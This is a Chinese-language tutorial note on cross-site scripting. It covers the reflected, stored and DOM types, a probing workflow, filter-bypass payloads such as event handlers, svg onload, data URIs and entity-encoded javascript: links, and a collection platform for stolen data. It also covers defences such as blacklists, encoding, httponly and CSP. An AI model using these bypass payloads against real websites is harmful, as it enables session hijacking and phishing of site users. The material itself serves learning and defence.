跨站脚本攻击漏洞概述
跨站脚本(Cross-site Scripting)攻击(XSS),攻击者通过网站注入点注入客户端可执行解析的payload,当用户访问网页的时候,恶意payload自动加载并执行,以达到攻击者的目的(窃取cookie,恶意传播,钓鱼欺骗等)。
漏洞类型和应用场景
反射型XSS(可用于钓鱼,引流,配合其他漏洞如CSRF)
只会执行一次,非持久型。
主要存在于攻击者将恶意脚本附加到url的参数中,发送给受害者,服务端未经严格过滤处理而输出在用户浏览器中,导致浏览器执行代码数据。
利用场景:
存储型XSS(攻击范围广,流量传播大。可配合其他漏洞)
特点:持久性
主要存在于攻击者将恶意脚本储存到服务器数据库中,当用户访问包含恶意相关数据的页面时,服务端未经严格过滤处理而输出在用户的浏览器中,导致浏览器执行代码数据。
DOM型XSS(配合其他漏洞,长度大小不受限制)
特点:通过JavaScript操作document,实现dom树的重构。
主要存在于用户能修改页面的dom。造成客户端payload在浏览器中执行(在客户端执行)
跨站脚本攻击实操
1.测试:(xss探针)`";"<poiuyt>=&{()} 可以测试网站过滤了哪些字符,进行怎样的防护。
2.查看网页源代码(如何闭合属性,标签等)
3.构建xss payload (如何绕过等)
payload大全:https://github.com/pgaijin66/XSS-Payloads/blob/master/payload/payload.txt
跨站脚本攻击漏洞接收平台
xss.pt(接收平台网址)
跨站脚本攻击漏洞绕过及防御
绕过
1.<>被过滤的情况下:
加入在特殊标签下的时候,可以构造一些事件触发
"autofocus οnfοcus=alert(1) "
" οnclick=alert(1) "
2.alert被过滤的情况下
编码;另外prompt和confirm也可以弹窗
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pgo=>(Firefox可以但chrome不可以)
<svg/οnlοad=prompt(1)/>
<a href=javascript:#97lert(13)>M JavaScript伪协议(对JavaScript:alert(13)进行字符实体编码)
3.on事件被过滤的情况下
<form><button formaction=javascript:alert(1)>M
<a herf="javascript:alert(document.location);">XSS</a>
4.其他
标签和属性之间并不是只能出现空格:<img/src=x/οnerrοr=alert(1)>
有时候并不需要一个合法的标签:<M/οnclick="alert(1)">M
防御
1.阻止恶意代码注入
2.组织恶意操作执行
不管是反射型还是存储型xss,都能够通过服务端过滤进行防御:
1.黑名单:
过滤特殊符号及字符
如<,>,%,#,/,",',;,(,),script,svg,object,on事件等
2.白名单:
只允许特定类型或符号:
根据输入的数据特征限制使用的类型,如年龄限制为数字类型
3.编码及转义:
输出在标签或属性中进行HTML编码
输出在script标签或事件中进行JavaScript编码
输出在url中进行url编码
4.cookie中设置httponly
setcookie将httponly选项设置为true,防范cookie劫持
5.确保执行脚本来源可信
开发者明确告诉客户端,哪些外部资源可以加载和执行(CSP策略)
6.不使用有缺陷的第三方库
各语言过滤xss的函数:
PHP:htmlentities(),htmlspecialchars()
Python:cgi.escape()
ASP:Server.HTMLEncode()
ASP.NET:Server.HtmlEncode(),Microsoft Anti-Cross Site Scripting Library
Java:xssprotect(Open Source Library)
Node.js:node-validator
htmlspecialchars默认配置是不过滤单引号的。只有设置了:quotestyle选项为ENT_QUOTES才会过滤单引号
xss题目靶场及解析:
编码:
HTML编码(字符实体):
字符实体是一个预先定义好的转义序列,定义了一些无法在文本内容中输入的单个字符或符号。
格式:
以&开头+预先定义的实体名称+分号结束;
以&开头+#符号+实体编号+分号结束
会进行HTML解码的情况:
数据状态中的字符引用;
RCDATA状态中的字符引用;
属性值状态的字符引用。
在DOM树结构构建完成后,对节点内容进行解析时进行HTML编码
URL编码:
URL编码格式:
%加字符的ASCII编码对应的2位16进制数字,如“/”对应的url编码位%2f
注意:不能对协议类型做任何编码操作,否则url解析器会认为他是无类型
JavaScript编码:
会触发JavaScript解析器的地方:
1.直接嵌入<script>代码块中
2.通过<script src=...>加载外部文件中
3.各种HTML css参数支持JavaScript:URL触发调用
4.CSS expression(...)语法和某些浏览器的XBL绑定
5.事件处理器,比如onload,onerror,onclick等
6.定时器,Timer(setTimeout,setInterval)
7.eval(...)调用